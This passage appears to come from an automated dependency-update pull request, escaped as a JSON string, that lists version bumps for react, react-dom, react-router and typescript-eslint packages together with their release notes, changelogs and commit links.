href=\"https://github.com/react/react/commits/v19.3.1/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-router` from 8.4.0 to 8.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/remix-run/react-router/releases\"\u003ereact-router's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.5.0\u003c/h2\u003e\n\u003cp\u003eSee the changelog for release notes: \u003ca href=\"https://github.com/remix-run/react-router/blob/main/CHANGELOG.md#v850\"\u003ehttps://github.com/remix-run/react-router/blob/main/CHANGELOG.md#v850\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/remix-run/react-router/blob/main/packages/react-router/CHANGELOG.md\"\u003ereact-router's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.5.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate React Router's view transition APIs in favor of React's \u003ccode\u003e\u0026lt;ViewTransition\u0026gt;\u003c/code\u003e component, available in React 19.3 and later (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15493\"\u003e#15493\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eDeprecate the \u003ccode\u003eviewTransition\u003c/code\u003e props/options, \u003ccode\u003euseViewTransitionState\u003c/code\u003e, and \u003ccode\u003eNavLink\u003c/code\u003e's \u003ccode\u003eisTransitioning\u003c/code\u003e render prop and \u003ccode\u003etransitioning\u003c/code\u003e class\u003c/li\u003e\n\u003cli\u003ePreserve existing behavior, including support for older React versions\u003c/li\u003e\n\u003cli\u003eSee the \u003ca href=\"https://reactrouter.com/how-to/view-transitions\"\u003emigration guide\u003c/a\u003e for a navigation example and compatibility considerations\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Await\u0026gt;\u003c/code\u003e failing to server render promises decoded from an RSC payload, which caused the Suspense boundary to switch to client rendering (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15597\"\u003e#15597\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDeclare \u003ccode\u003e@types/react\u003c/code\u003e and \u003ccode\u003e@types/react-dom\u003c/code\u003e as optional peer dependencies so the shipped type definitions resolve React types under strict (non-hoisted) node_modules layouts (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15528\"\u003e#15528\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix the \u003ccode\u003eunstable_useRouterState\u003c/code\u003e documentation example to call the imported alias (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15535\"\u003e#15535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRender the \u003ccode\u003eHydrateFallback\u003c/code\u003e of a route discovered through \u003ccode\u003epatchRoutesOnNavigation\u003c/code\u003e during initial hydration (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15537\"\u003e#15537\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eRoutes discovered during initial hydration are now exposed in \u003ccode\u003estate.matches\u003c/code\u003e while their loaders run, so \u003ccode\u003e\u0026lt;RouterProvider\u0026gt;\u003c/code\u003e renders down to the discovered route's \u003ccode\u003eHydrateFallback\u003c/code\u003e instead of rendering nothing\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFix router state recovery when updates occur before \u003ccode\u003eRouterProvider\u003c/code\u003e subscribes, including when other subscribers are already attached, and report current client errors once without replaying server errors during hydration (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15637\"\u003e#15637\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003ematchPath\u003c/code\u003e not treating a static segment as optional when it contains characters outside \u003ccode\u003e[\\w-]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15425\"\u003e#15425\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix an RSC server crash when a client aborts a document request while the HTML stream waits for the RSC payload (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15612\"\u003e#15612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStop revalidating a fetcher after \u003ccode\u003efetcher.reset()\u003c/code\u003e, so its cleared data no longer comes back on the next revalidation (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15633\"\u003e#15633\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eUnstable Changes\u003c/h3\u003e\n\u003cp\u003e⚠️ \u003cem\u003e\u003ca href=\"https://reactrouter.com/community/api-development-strategy#unstable-flags\"\u003eUnstable features\u003c/a\u003e are not recommended for production use\u003c/em\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd an \u003ccode\u003eunstable_fetch\u003c/code\u003e prop to \u003ccode\u003e\u0026lt;HydratedRouter\u0026gt;\u003c/code\u003e to customize JavaScript-issued manifest and server data requests in conventional Framework Mode (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15586\"\u003e#15586\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe function receives the intended request as well as context identifying the type of request\u003c/li\u003e\n\u003cli\u003eData request context includes \u003ccode\u003enavigationType\u003c/code\u003e (\u003ccode\u003e\u0026quot;PUSH\u0026quot;\u003c/code\u003e, \u003ccode\u003e\u0026quot;REPLACE\u0026quot;\u003c/code\u003e, or \u003ccode\u003e\u0026quot;POP\u0026quot;\u003c/code\u003e for navigation-initiated requests, including reloaded fetchers; \u003ccode\u003enull\u003c/code\u003e otherwise)\n\u003cul\u003e\n\u003cli\u003eData strategies receive equivalent metadata through \u003ccode\u003eunstable_initiator\u003c/code\u003e and \u003ccode\u003eunstable_navigationType\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eThe custom fetch context is a discriminated union, so narrowing \u003ccode\u003etype\u003c/code\u003e to \u003ccode\u003e\u0026quot;navigation\u0026quot;\u003c/code\u003e guarantees a non-null \u003ccode\u003enavigationType\u003c/code\u003e, while other data requests have a \u003ccode\u003enull\u003c/code\u003e \u003ccode\u003enavigationType\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003eFetchers reloaded after an initialization redirect retain the \u003ccode\u003e\u0026quot;initialization\u0026quot;\u003c/code\u003e type and include their fetcher key\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eLike other router initialization options, the implementation is captured when the singleton router is created and thus subsequent prop changes are ignored\u003c/li\u003e\n\u003cli\u003eBrowser-managed data prefetches from \u003ccode\u003e\u0026lt;Link prefetch\u0026gt;\u003c/code\u003e use native \u003ccode\u003e\u0026lt;link rel=\u0026quot;prefetch\u0026quot;\u0026gt;\u003c/code\u003e elements and do not call the custom implementation\u003c/li\u003e\n\u003cli\u003eUse the callback for custom fetch options, custom headers, safe request retries, or response header inspection\u003c/li\u003e\n\u003cli\u003eReturn response bodies unchanged so React Router can decode its manifest and Turbo Stream data protocols\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eSupport API-only Framework Mode with runtime server data loading, actions, revalidation, and lazy route discovery (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15601\"\u003e#15601\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eHydrate prerendered pages from build-time data and fetch server loader data when hydrating a SPA fallback\u003c/li\u003e\n\u003cli\u003ePreserve normal loader revalidation and server-action support for eagerly loaded and lazily discovered routes, and honor loader opt-outs when making server data requests\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eunstable_useRouteDiscovery\u003c/code\u003e for application-controlled route discovery in conventional Framework Mode (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15602\"\u003e#15602\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eDiscover selected destinations or load the running client's full route manifest without loading route modules\u003c/li\u003e\n\u003cli\u003eCompose manifest-mismatch handlers, with shared recovery and cancellation that preserves application state\u003c/li\u003e\n\u003cli\u003eKeep full-manifest failures catchable without rendering error boundaries, whether mismatch handlers use the hook or event's \u003ccode\u003eloadAllRoutes()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCancel pending revalidation alongside a canceled navigation, retaining existing data and settling interrupted fetchers before restoring Back/Forward history\u003c/li\u003e\n\u003cli\u003eEnable \u003ccode\u003efuture.unstable_customRouteDiscovery\u003c/code\u003e to opt in\n\u003cul\u003e\n\u003cli\u003eApps without the flag retain existing discovery behavior\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eCall \u003ccode\u003eevent.defaultBehavior()\u003c/code\u003e from a custom mismatch handler to explicitly run built-in recovery\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eReturn middleware short-circuit responses as-is for document requests in RSC modes, including resource routes, instead of decoding non-RSC bodies as Flight (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15628\"\u003e#15628\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eInclude server middleware in both eager and lazy RSC route configuration types\u003c/li\u003e\n\u003cli\u003ePreserve HTML rendering for cached Flight responses returned by middleware, and pass through raw responses that replace the result of \u003ccode\u003enext()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/4fe4525102870a2b21a4a0568a651d118f5e5dbb\"\u003e\u003ccode\u003e4fe4525\u003c/code\u003e\u003c/a\u003e Release v8.5.0 (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15515\"\u003e#15515\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/358001c62beecfeb261b7f045ca9309464114027\"\u003e\u003ccode\u003e358001c\u003c/code\u003e\u003c/a\u003e docs: prepare v8.5.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/5ff82948b7d9437e096085de403813e7e853d485\"\u003e\u003ccode\u003e5ff8294\u003c/code\u003e\u003c/a\u003e Fix RouterProvider initialization recovery with existing subscribers (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15637\"\u003e#15637\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/d86f6b49a1b53e056880363d25e79cd68890e9c4\"\u003e\u003ccode\u003ed86f6b4\u003c/code\u003e\u003c/a\u003e Add opt-in application-controlled route discovery (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15602\"\u003e#15602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/19f75c04f89a67c39f1e0411291d9cdff85c0170\"\u003e\u003ccode\u003e19f75c0\u003c/code\u003e\u003c/a\u003e Default single-fetch data strategy to native fetch (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15638\"\u003e#15638\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/5e9405326ff4d7aea9d0780010b1efd686a8885f\"\u003e\u003ccode\u003e5e94053\u003c/code\u003e\u003c/a\u003e Fix \u003ccode\u003e\\\u0026lt;Await\u0026gt;\u003c/code\u003e server rendering for RSC promises (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15597\"\u003e#15597\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/843230c5c769a4785fc85aa426a132dc33d49d9b\"\u003e\u003ccode\u003e843230c\u003c/code\u003e\u003c/a\u003e fix(react-router): stop the RSC HTML stream when it is cancelled during flush...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/08ee782ddf7d6a67e6b92f7c58762f73bf58ab42\"\u003e\u003ccode\u003e08ee782\u003c/code\u003e\u003c/a\u003e fix(react-router): stop revalidating a fetcher after reset (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15633\"\u003e#15633\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/6549ab0a6eb411fb4a27a1e3329fdcef97ba0007\"\u003e\u003ccode\u003e6549ab0\u003c/code\u003e\u003c/a\u003e fix(rsc): tag middleware short-circuit responses as React-Router-Resource (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/a1422f12598bfa74b71aae8a07a62ccbf8b09f31\"\u003e\u003ccode\u003ea1422f1\u003c/code\u003e\u003c/a\u003e fix: render HydrateFallback of routes discovered during initial hydration (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/remix-run/react-router/commits/react-router@8.5.0/packages/react-router\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/eslint-plugin` from 8.71.2 to 8.72.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/eslint-plugin's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.72.0\u003c/h2\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e lazy load rules (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12992\"\u003e#12992\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e error on abstract keyword that precedes export (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13019\"\u003e#13019\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003east-spec:\u003c/strong\u003e add \u003ccode\u003eJSXFragment\u003c/code\u003e to \u003ccode\u003eJSXAttribute['value']\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13051\"\u003e#13051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-readonly-parameter-types] check where allowed type aliases are declared (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13016\"\u003e#13016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-deprecated] report deprecated properties in object literals (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12704\"\u003e#12704\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e use isTypeLiteralType instead of type.isLiteral() to include bigint literals on TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13053\"\u003e#13053\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] check tuples (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] ignore extra this type argument on TS \u0026lt; 5.1 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13055\"\u003e#13055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e discriminateAnyType crashes when calling getAwaitedType on awaited type in TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13054\"\u003e#13054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e include leading and trailing comments \u0026amp; whitespace in Program range (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12991\"\u003e#12991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJunichiro Kasuya \u003ca href=\"https://github.com/jksy\"\u003e\u003ccode\u003e@​jksy\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitch Fultz \u003ca href=\"https://github.com/fitchmultz\"\u003e\u003ccode\u003e@​fitchmultz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShaan GS \u003ca href=\"https://github.com/ShaanGS\"\u003e\u003ccode\u003e@​ShaanGS\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md\"\u003e@​typescript-eslint/eslint-plugin's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12992\"\u003e#12992\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e lazy load rules (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e discriminateAnyType crashes when calling getAwaitedType on awaited type in TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13054\"\u003e#13054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] ignore extra this type argument on TS \u0026lt; 5.1 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13055\"\u003e#13055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] check tuples (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e use isTypeLiteralType instead of type.isLiteral() to include bigint literals on TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13053\"\u003e#13053\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-deprecated] report deprecated properties in object literals (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12704\"\u003e#12704\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-readonly-parameter-types] check where allowed type aliases are declared (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13016\"\u003e#13016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e include leading and trailing comments \u0026amp; whitespace in Program range (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12991\"\u003e#12991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJunichiro Kasuya \u003ca href=\"https://github.com/jksy\"\u003e\u003ccode\u003e@​jksy\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitch Fultz \u003ca href=\"https://github.com/fitchmultz\"\u003e\u003ccode\u003e@​fitchmultz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a4c2603d3e4fd43b33bc25b82457716e9f7cef71\"\u003e\u003ccode\u003ea4c2603\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.72.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/c6eb98c17cbeee540d3c48d1406098430b2f0660\"\u003e\u003ccode\u003ec6eb98c\u003c/code\u003e\u003c/a\u003e feat(eslint-plugin): [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/b382b74579e5514c247ed54d0dfc428f3a173f3a\"\u003e\u003ccode\u003eb382b74\u003c/code\u003e\u003c/a\u003e fix(type-utils): discriminateAnyType crashes when calling getAwaitedType on a...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/79edd896790b031457fc0ca6f81c732b29921c9d\"\u003e\u003ccode\u003e79edd89\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [require-array-sort-compare] ignore extra this type argum...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/e7d57dd6ea0945ae71ba9f68d04270caecda1735\"\u003e\u003ccode\u003ee7d57dd\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [require-array-sort-compare] check tuples (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/2d107aef73ec9a36a6b4da501ab3fb97dca1d4c0\"\u003e\u003ccode\u003e2d107ae\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): use isTypeLiteralType instead of type.isLiteral() to incl...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/e4695b39dbf2427afe14531095c6221c340ee3f1\"\u003e\u003ccode\u003ee4695b3\u003c/code\u003e\u003c/a\u003e feat(eslint-plugin): lazy load rules (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a1a912bffce02a96f8661806d92202f867f9c6ce\"\u003e\u003ccode\u003ea1a912b\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [no-deprecated] report deprecated properties in object li...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/1edc975742ca23390a4daf3a1d0193feafe92818\"\u003e\u003ccode\u003e1edc975\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [prefer-readonly-parameter-types] check where allowed typ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/61cb7009708e90add897ca53c58666a19e615606\"\u003e\u003ccode\u003e61cb700\u003c/code\u003e\u003c/a\u003e chore: fix all \u003ccode\u003eeslint-plugin-internal/no-multiple-lines-of-errors\u003c/code\u003e (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12893\"\u003e#12893\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.72.0/packages/eslint-plugin\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/parser` from 8.71.2 to 8.72.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.72.0\u003c/h2\u003e\n\u003ch2\u003e8.72.0 